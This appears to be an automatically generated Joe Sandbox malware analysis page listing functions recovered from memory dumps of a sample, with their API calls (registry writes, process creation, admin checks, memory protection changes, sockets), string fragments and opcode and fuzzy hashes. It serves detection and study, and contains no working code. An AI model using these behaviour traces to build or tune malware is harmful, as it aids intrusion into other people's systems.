Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 4ac077f853e6af3a178a2230c0b3a2e9ee431dabf5ba8f55de035aa318eaf08a
Instruction ID: e9f00999500ad7a9285119765bb38c870f46e023310e51f3ad52bb549e390468
Opcode Fuzzy Hash: 4ac077f853e6af3a178a2230c0b3a2e9ee431dabf5ba8f55de035aa318eaf08a
Instruction Fuzzy Hash: DCC107B0901249DFDB00CF68D448799FBF4BF49314F28C1AAE858AB392D7769A45DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00575350 Relevance: 1.7, APIs: 1, Instructions: 184COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0057546E

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 8085fe1aa76fb42ec30b3d1681567aed3f19876d3dffea99aa067b4fd2f386d3
Instruction ID: 10c3398d948c3f4157564e93929bdc3e4987d8a4aabaec4d3a915fca59cac396
Opcode Fuzzy Hash: 8085fe1aa76fb42ec30b3d1681567aed3f19876d3dffea99aa067b4fd2f386d3
Instruction Fuzzy Hash: C16187B1A00615DFCB10CF59D984B6ABBF5FF88710F24816EE419AB391D7B5EA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00598DF2 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76161ba3c9f0976ff67bccdf0d7d36012a7cc71347d320a6c45c9f6af188e8d5
Instruction ID: 29aba46d44d14bf99480aa1068490299a3b94ef1aed4122d7ca5a75ab9e2c6e0
Opcode Fuzzy Hash: 76161ba3c9f0976ff67bccdf0d7d36012a7cc71347d320a6c45c9f6af188e8d5
Instruction Fuzzy Hash: 2F51B171A00208AFDF14CF58C895AB97FB6FF8A314F289159F8099B252D731DE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00563130 Relevance: 1.7, APIs: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 005632B8

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 908a67f9c446d238c4b9c337ef6830046b805203daddb09a56ff2e7fffa0aee1
Instruction ID: b03d4c5cc32a2c4844fb7ce4515e78837fc3dabd5cfb22f32199c90325df782b
Opcode Fuzzy Hash: 908a67f9c446d238c4b9c337ef6830046b805203daddb09a56ff2e7fffa0aee1
Instruction Fuzzy Hash: CB419E75A001159FCB14DF6CC995A6EBFB9FB89310B24826AE815EB385D7309E05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00589E20 Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00589F7B

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c6c075cbb76b4f03fdfd1ed3f208105fc75a970a41d96c25c90902f2d16ac93d
Instruction ID: 47a7509352dfdcc7effe659c51a6f5bbf9aad3215a0557355b88ddc224f848b0
Opcode Fuzzy Hash: c6c075cbb76b4f03fdfd1ed3f208105fc75a970a41d96c25c90902f2d16ac93d
Instruction Fuzzy Hash: B941AF72A001159FCB14EF68C9459BEBFB9FB88350F28422AE815F7385D7709E018BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00625940 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00000000), ref: 00625A2D

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 57baae12ca5d8808d6305608322e7b51cfa51d9c2a222abf78ec6e57c1aa5242
Instruction ID: ac6a9c38c243978ede9dc2fba89e9e9be61957b27f6db070ce357c43de111406
Opcode Fuzzy Hash: 57baae12ca5d8808d6305608322e7b51cfa51d9c2a222abf78ec6e57c1aa5242
Instruction Fuzzy Hash: 6D310672504B506BC7309F689C82B6BB7EAFF84334F004B1DF9A9932D1D731D8048AA2

Uniqueness

Uniqueness Score: -1.00%

Function 005632D0 Relevance: 1.5, APIs: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0056331F

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6ec4655adc9d8c581670169791bfeb4c3c4bb59604ad5d7a34e59d92e7cd2194
Instruction ID: e1ea5051ede54dc15d0033f2a348e3eb3e6276f73975f41c19bfddcf2b62198f
Opcode Fuzzy Hash: 6ec4655adc9d8c581670169791bfeb4c3c4bb59604ad5d7a34e59d92e7cd2194
Instruction Fuzzy Hash: 8DF0B4722001059BCF146F64D4199E9BBE8FF543A5710097AE88DD7312EB26DA40C790

Uniqueness

Uniqueness Score: -1.00%

Function 068D9970 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

SetupDiGetClassDevsA.SETUPAPI(06939500,00000000,00000000,00000012), ref: 068D99A7

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: ClassDevsSetup
String ID:
API String ID: 2330331845-0
Opcode ID: e038c73f4cdce85acfaa301b53fbd8f92f84c26553f597069437424a63a29ed0
Instruction ID: e2f0df16d5310906daca049dc493aba84fa2bfb0a0798fd6b1518d9bbff71359
Opcode Fuzzy Hash: e038c73f4cdce85acfaa301b53fbd8f92f84c26553f597069437424a63a29ed0
Instruction Fuzzy Hash: 2C11F3B4E00208EFDF54DF98C985BAEBBB0BB48304F208158E914AB380D371AA40DF94

Uniqueness

Uniqueness Score: -1.00%

Function 068DD3F0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(068FCA21,00000001,0694A924,00000000), ref: 068DD41D

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 331c31562024e792613f34f606d68902a9416180e2465bd7a08b6f5348299a46
Instruction ID: 08df319c7633a88f5e2ca53f1564d2e515eee63383c3c429667198d9d3206513
Opcode Fuzzy Hash: 331c31562024e792613f34f606d68902a9416180e2465bd7a08b6f5348299a46
Instruction Fuzzy Hash: 7AE07574605208EBEB00CF44D945B997BB9EB48758F108188FD089B381D6B6AE408B94

Uniqueness

Uniqueness Score: -1.00%

Function 068E2470 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000B14,0000FFFF,00001006,00000B14,00000008), ref: 068E24A3

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 32a1dc9d40bca656434ffa98fe096a59f835919f4c7019907b9d12a3d90ffdc6
Instruction ID: 975d4c8f87c683934ba8ce364362cbe666985bc700395e97b9692f0a851897be
Opcode Fuzzy Hash: 32a1dc9d40bca656434ffa98fe096a59f835919f4c7019907b9d12a3d90ffdc6
Instruction Fuzzy Hash: 8EE04870D44308BFDB50DF94D845BDC7BB8AB48700F10C169F9089B2C0E6B05744CB40

Uniqueness

Uniqueness Score: -1.00%

Function 006E7C16 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 006E7C1B

Memory Dump Source

Source File: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6c0e248e150cfebdf39de0065489840aab2b51dfdbb8cdaae97abd783ffa723d
Instruction ID: d0514ea2eb2a43127428c711646d22f9b004f3ee2ed17caa6f590270bccbfcea
Opcode Fuzzy Hash: 6c0e248e150cfebdf39de0065489840aab2b51dfdbb8cdaae97abd783ffa723d
Instruction Fuzzy Hash: 4BA00292D9640CD1844876FDDA4B74E0004AC22741B14990577A6D09474F4451440D23

Uniqueness

Uniqueness Score: -1.00%

Function 005A250C Relevance: 1.3, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00644B06,00644B06,00000000,00000000,006D6E30,00644B06,00000002,00644B06,00000000,?,?,?,005A2616,00000000,?,00644B06), ref: 005A2555

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: a7ac274e1675a8f09b883a97cf9973599231e5e7a68d960447ab7b065a31c419
Instruction ID: 409b8583996b5a276d8922888451c9c9b46c09f3e64c51d63c8e8a7a78da0e40
Opcode Fuzzy Hash: a7ac274e1675a8f09b883a97cf9973599231e5e7a68d960447ab7b065a31c419
Instruction Fuzzy Hash: 2101DB33614555AFCF058F5DDC56CAE3F29FB86324F240208FC119B291E671ED419B90

Uniqueness

Uniqueness Score: -1.00%

Function 00591F6B Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,00566858,?,?,?,?,0056691A,?,?,?,00000000,?,?), ref: 00591F82

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: c382e8cbba9413809aec6597229dcf7364f90e4acea1d71f776b258622b6a506
Instruction ID: 759ad877b3c1687f44d05b271f29f05ca1acd1317acbc32e508dc3facceaf99a
Opcode Fuzzy Hash: c382e8cbba9413809aec6597229dcf7364f90e4acea1d71f776b258622b6a506
Instruction Fuzzy Hash: 08C0123100451DB68F022AE99C0099A3E59BB48350F008410B90A80012DB35D194A676

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 068DC760 Relevance: 37.4, APIs: 14, Strings: 7, Instructions: 644registryprocessstringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,?), ref: 068DCD2B
RegQueryValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 068DCD7E
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000002,00000004), ref: 068DCDAA
GetSystemWindowsDirectoryA.KERNEL32 ref: 068DCE04
lstrcatA.KERNEL32(?,?,?,?,?), ref: 068DCF17
IsUserAnAdmin.SHELL32 ref: 068DCF88
CreateProcessA.KERNEL32 ref: 068DD1CE
CloseHandle.KERNEL32(?), ref: 068DD1F7
CloseHandle.KERNEL32(?), ref: 068DD204

Strings

+@&S, xrefs: 068DD2A3
+@&S, xrefs: 068DD293
J9q=, xrefs: 068DCB48
J9q=, xrefs: 068DCEA8
J9q=, xrefs: 068DD2E1
J9q=, xrefs: 068DC8A4
8PBQfHbpTePWgDg, xrefs: 068DCFA1, 068DD08A

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CloseHandleValue$AdminCreateDirectoryOpenProcessQuerySystemUserWindowslstrcat
String ID: +@&S$+@&S$8PBQfHbpTePWgDg$J9q=$J9q=$J9q=$J9q=
API String ID: 829427948-1395760719
Opcode ID: 57f3666bb969f6211a15973ef793cb2334dc6df0f35576386c3f5ff489a816f6
Instruction ID: c174a25fc97223d6f2603121caa72e299b8a2446608fd6ce0b1af0d8dc82af72
Opcode Fuzzy Hash: 57f3666bb969f6211a15973ef793cb2334dc6df0f35576386c3f5ff489a816f6
Instruction Fuzzy Hash: E6820274D096A88BDB66CF68C885BEDBBB1AF59304F0081D9DA4CA7251EB305BC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00644B90 Relevance: 28.5, APIs: 1, Strings: 17, Instructions: 1469COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,00000000,00000002,00000000,?), ref: 00644FC2

Strings

v<Ea, xrefs: 00644E27
tFn, xrefs: 0064641D
v<Ea, xrefs: 00645F77
v<Ea, xrefs: 00644DA2
v<Ea, xrefs: 00645313
exists, xrefs: 00646364, 00646458
v<Ea, xrefs: 00645EDE
v<Ea, xrefs: 00646053
v<Ea, xrefs: 00646087
v<Ea, xrefs: 0064535F
v<Ea, xrefs: 00645FAB
v<Ea, xrefs: 00644E61
tFn, xrefs: 00644C8A
v<Ea, xrefs: 00645058
v<Ea, xrefs: 00645E92
v<Ea, xrefs: 00644D50
v<Ea, xrefs: 00644EDA

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: CloseHandle
String ID: exists$tFn$tFn$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 2962429428-2976195019
Opcode ID: 0ce87c714511f52984515b7ce933885ea42bae7f8b39408ffca8cbdce5e1622b
Instruction ID: 1027ef168dd9dd31a64c1ae17a602eeab68b395cc5374df87d1946db951c21b1
Opcode Fuzzy Hash: 0ce87c714511f52984515b7ce933885ea42bae7f8b39408ffca8cbdce5e1622b
Instruction Fuzzy Hash: 57F210B1D042698BDB25CF68C898BEDBBB1BF49310F148299D859BB342DB705E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00646470 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 581libraryloaderCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,7556E010,?), ref: 00646650
GetProcAddress.KERNEL32(00000000,?), ref: 00646660
GetLastError.KERNEL32(?,?,7556E010,?), ref: 00646778
GetProcAddress.KERNEL32(00000000,?), ref: 00646782
CloseHandle.KERNEL32(?,?,7556E010,?), ref: 00646830
CloseHandle.KERNEL32(?), ref: 00646856
CloseHandle.KERNEL32(00000000,7556E010,00000040,00000000,?,?,7556E010,?), ref: 00646876
CloseHandle.KERNEL32(?), ref: 00646AD8
CloseHandle.KERNEL32(?), ref: 00646B03

Strings

v<Ea, xrefs: 0064696C
File, xrefs: 006468A0
v<Ea, xrefs: 00646742
v<Ea, xrefs: 00646D7C

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: CloseHandle$AddressErrorLastProc
String ID: File$v<Ea$v<Ea$v<Ea
API String ID: 4098301737-647345917
Opcode ID: 2b14862a155155e5fa6fd06072e2d9acfbb1702eaf1d4e04dc4875c4ba2fe1b3
Instruction ID: af599d5db795a5e801f3e951082de84d02e630b59b2dae23224bf39f637df661
Opcode Fuzzy Hash: 2b14862a155155e5fa6fd06072e2d9acfbb1702eaf1d4e04dc4875c4ba2fe1b3
Instruction Fuzzy Hash: C25200B4D083598FDB14CF98C881BAEBBB1BF88300F104559E958B7351D770AA85CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 006A5A40 Relevance: 16.6, APIs: 3, Strings: 6, Instructions: 872COMMON

Download Yara Rule

Strings

+Inf, xrefs: 006A61C0
gfff, xrefs: 006A649D
Inf, xrefs: 006A61C9
-Inf, xrefs: 006A61B9
+, xrefs: 006A600D
NaN, xrefs: 006A60C8

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: +$+Inf$-Inf$Inf$NaN$gfff
API String ID: 0-2743850093
Opcode ID: 488e233b9bdf0d81ec4f3c732bf0c2172f0ae168d63d7d7804ba12e2308e538e
Instruction ID: 878f2295f93c2691cd5a0d047318c7cf4ec6e31f627f62114d84cbc3e6551431
Opcode Fuzzy Hash: 488e233b9bdf0d81ec4f3c732bf0c2172f0ae168d63d7d7804ba12e2308e538e
